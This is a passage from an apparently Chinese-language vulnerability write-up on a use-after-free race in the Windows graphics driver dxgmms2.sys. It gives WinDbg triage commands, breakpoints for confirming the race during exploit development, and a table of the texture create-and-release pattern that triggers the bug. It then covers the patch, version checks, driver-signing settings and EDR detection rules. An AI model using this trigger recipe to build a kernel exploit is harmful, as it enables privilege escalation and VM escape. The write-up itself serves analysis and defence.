# crash点应在调用MmUnlockPages的call指令处
# 4. 查看crash时的寄存器, 定位问题MDL
r
# RCX寄存器通常包含传入MmUnlockPages的MDL指针
# 5. 检查MDL内容(假设RCX = MDL地址)
dt _MDL @rcx
# 检查MdlFlags是否包含 MDL_PAGES_LOCKED (0x2)
# 如果Flag异常, 说明MDL已被篡改
# 6. 查看MDL的PFN数组
dd MmGetMdlPfnArray(@rcx) L10
# 如果PFN值看起来像内核指针而非有效物理页号,
# 说明该物理页已被重用为其他内核对象
# 7. 检查可疑PFN对应的MMPFN条目
!pte <物理页对应的虚拟地址>
# 或使用 !pfn <PFN号> 查看PFN状态
# 8. 列出所有dxgmms2模块中的VidMm相关符号
x dxgmms2!VidMm*
x dxgmms2!VIDMM_*
# 9. 检查回收堆对象的内存布局
dt dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW <对象地址>
# 10. 启用池特殊检测以辅助调试(需提前配置)
# 在注册表中设置:
# HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
# PoolTagOverrides = "+ 'VidM'" (启用VidMm池标签检测)
# 然后执行:
!gflag + 0x2000 # 启用 PoolMarker
!gflag + 0x8000 # 启用 DeadPoolTracking
# 11. 设置条件断点, 在UnlockRange入口断下
bp dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange
# 单步跟踪观察MDL指针变化
9.4 利用验证性断点
在开发完整利用时,可以使用以下断点来验证竞态条件的命中:
# 在MmUnlockPages调用前断下, 检查MDL有效性
bp dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x130 ".if (@rcx != 0) { .printf \"UnlockRange MDL=%p\\n\", @rcx; dt _MDL @rcx; dd MmGetMdlPfnArray(@rcx) L4; } .else { .echo \"MDL is NULL!\"; }"
# 监控debounce队列处理
bp dxgmms2!VidMmWorkerThread+0x890 ".printf \"VidMmWorkerThread processing debounce queue\\n\""
# 跟踪CreateTexture2D的内核路径, 确认物理页重用
bp dxgmms2!VidMmAllocatePages ".printf \"VidMmAllocatePages called, reusing physical pages\\n\""
10. 正常操作与触发 UAF 操作对比
| 操作维度 | 正常 D3D11 纹理操作 | 触发 UAF 的操作序列 |
|---|---|---|
| 纹理创建频率 | 按需创建,低频率 | 高频率循环创建(每秒数千次) |
| Map/Unmap 模式 | 单次 Map,使用后 Unmap | 快速 Map→写数据→Unmap→释放,极短生命周期 |
| CPU 让出 | 不主动调用 SwitchToThread | 释放纹理后立即 SwitchToThread() 制造窗口 |
| 并发纹理数量 | 少量(通常 <100) | 大量并发(数百个相同大小纹理) |
| 纹理大小 | 任意大小 | 精确匹配回收堆粒度(整数物理页) |
| 线程模型 | 单线程或低并发 | 多线程高并发(线程A释放 + 线程B重分配) |
| D3D设备 | 单一设备 | 可使用多个D3D设备增加回收堆压力 |
| 物理页重用 | 回收堆正常复用 | 在debounce队列处理期间抢占物理页 |
| MDL生命周期 | 纹理存活期间MDL稳定 | MDL在debounce队列中, 物理页已重用 |
| UnlockRange执行 | MDL有效, PFN指向已锁定页 | MDL的PFN指向已重用的物理页 |
| 系统稳定性 | 稳定运行 | BugCheck 0x1A_61948 或 0xEF |
| 典型场景 | 游戏/图形应用正常使用 | 恶意程序构造的竞态攻击 |
11. 防御方案
11.1 安装 KB5101650 补丁(首要措施)
Microsoft 在 2026 年 7 月的安全更新中发布了 KB5101650 补丁。该补丁的核心修复是在 UnlockRange 函数的循环中引入了对 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW 自旋锁的获取,并在每次访问 v5->Mdl 前验证 MDL 的有效性:
// 补丁后的 UnlockRange 核心逻辑 (简化)
do {
// ★ 修复1: 获取自旋锁, 阻止并发修改链表
KeAcquireSpinLockAtDpcLevel(&this->SpinLock);
// ★ 修复2: 验证 MDL 指针有效性和锁定状态
if (!v5->Mdl || !(v5->Mdl->MdlFlags & MDL_PAGES_LOCKED)) {
KeReleaseSpinLockFromDpcLevel(&this->SpinLock);
break; // 跳过无效MDL
}
// 验证 PFN 数组中每个物理页仍然属于此 MDL
if (!VidMmValidateMdlPfnOwnership(v5->Mdl)) {
KeReleaseSpinLockFromDpcLevel(&this->SpinLock);
break;
}
PMDL localMdl = v5->Mdl; // 快照MDL指针
KeReleaseSpinLockFromDpcLevel(&this->SpinLock);
// 在锁外执行耗时操作(减少锁持有时间)
MmUnlockPages(localMdl);
IoFreeMdl(localMdl);
KeAcquireSpinLockAtDpcLevel(&this->SpinLock);
VIDMM_MDL_RANGE::RemoveFromLockedRanges(v5);
v5 = v5->Next;
KeReleaseSpinLockFromDpcLevel(&this->SpinLock);
} while (v5 != v9 && !v12);
检查补丁是否已安装:
# 方法1: 通过 wusa 查询
wusa /list
# 方法2: 通过 PowerShell 查询已安装补丁
Get-HotFix -Id KB5101650
# 方法3: 检查 dxgmms2.sys 文件版本
Get-Item "C:\Windows\System32\drivers\dxgmms2.sys" |
Select-Object VersionInfo |
Format-List
# 确认版本号 >= 受影响版本的修复构建号
# Windows 11 24H2: 10.0.26100.8875
# Windows 11 25H2: 10.0.26200.8875
11.2 驱动签名验证强化
确保系统启用了驱动签名强制(Driver Signature Enforcement),防止攻击者加载恶意显卡驱动来辅助利用:
# 检查驱动签名强制状态
bcdedit /enum {current} | Select-String "nointegritychecks","testsigning"
# 确保以下两项均为 No(未禁用):
# nointegritychecks No ← 签名检查已启用
# testsigning No ← 测试签名已禁用
# 如需修复, 以管理员身份执行:
bcdedit /set nointegritychecks off
bcdedit /set testsigning off
# 重启生效
11.3 EDR 监控规则
企业环境应部署 EDR(Endpoint Detection and Response)规则来检测该漏洞的利用行为。以下是基于行为特征的检测规则设计:
# ============================================================
# EDR 检测规则: CVE-2026-50353 利用行为特征
# ============================================================
# 检测规则1: 高频D3D11纹理创建-释放循环
# 特征: 单个进程在短时间内创建大量D3D11纹理并立即释放
# 触发条件: 1秒内 CreateTexture2D + Release 循环 > 500次
#
# Sysmon 配置示例 (Event ID 1 - ProcessCreate):
# 配合 ETW(DirectX) 日志审计
# 检测规则2: 多线程D3D设备访问模式
# 特征: 同一进程内多个线程同时操作D3D11设备上下文
# 正常应用很少在多线程中高频操作同一D3D设备
# 检测规则3: SwitchToThread高频调用
# 特征: 攻击者使用SwitchToThread制造竞态窗口
# 触发条件: 进程在调用D3D11 API期间高频调用SwitchToThread
# 检测规则4: 异常BugCheck监控
# 监控事件ID 1001 (BugCheck), 筛选 0x1A 和 0xEF
Get-WinEvent -FilterHashtable @{
LogName = 'System'
Id = 1001
StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
$_.Message -match '0x0000001a|0x000000EF'
} | Select-Object TimeCreated, Message
11.4 深度防御建议
| 防御层级 | 措施 | 优先级 |
|---|---|---|
| 补丁管理 | 及时安装 KB5101650 及后续累积更新 | 最高 |
| 攻击面缩减 | 在不需要图形加速的服务器上禁用 WDDM 驱动 | 高 |
| 权限隔离 | 低权限用户不应有访问 D3D11 硬件加速的能力(VDI 环境可配置) | 中 |
| 行为监控 | EDR 部署高频纹理操作检测规则 | 高 |
| 崩溃告警 | 监控 0x1A/0xEF BugCheck 事件,作为潜在攻击指标 | 中 |
| 日志审计 | 启用 DirectX ETW 日志审计,记录异常 GPU 资源操作 | 低 |
| 网络隔离 | 限制低权限账户的远程桌面访问(RDP 是触发本漏洞的常见入口) | 中 |
11.5 虚拟化环境特别说明
在 Hyper-V、VMware 等虚拟化环境中,如果启用了 vGPU(虚拟 GPU 透传或半虚拟化 GPU),Guest OS 内的 dxgmms2.sys 同样存在该漏洞。需要注意的是:
- vGPU 透传(PCI Passthrough):Guest OS 直接操作物理 GPU,漏洞影响与物理机相同
- 半虚拟化 GPU(如 Hyper-V GPU-PV):Host 的
dxgmms2.sys可能被多个 Guest 共享,一个 Guest 的漏洞利用可能影响 Host 或其他 Guest,构成虚拟机逃逸风险 - 建议:虚拟化环境同样需要更新 Guest OS 的 KB5101650 补丁,同时更新 Host 的 Hyper-V 整合驱动
12. 免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC 代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号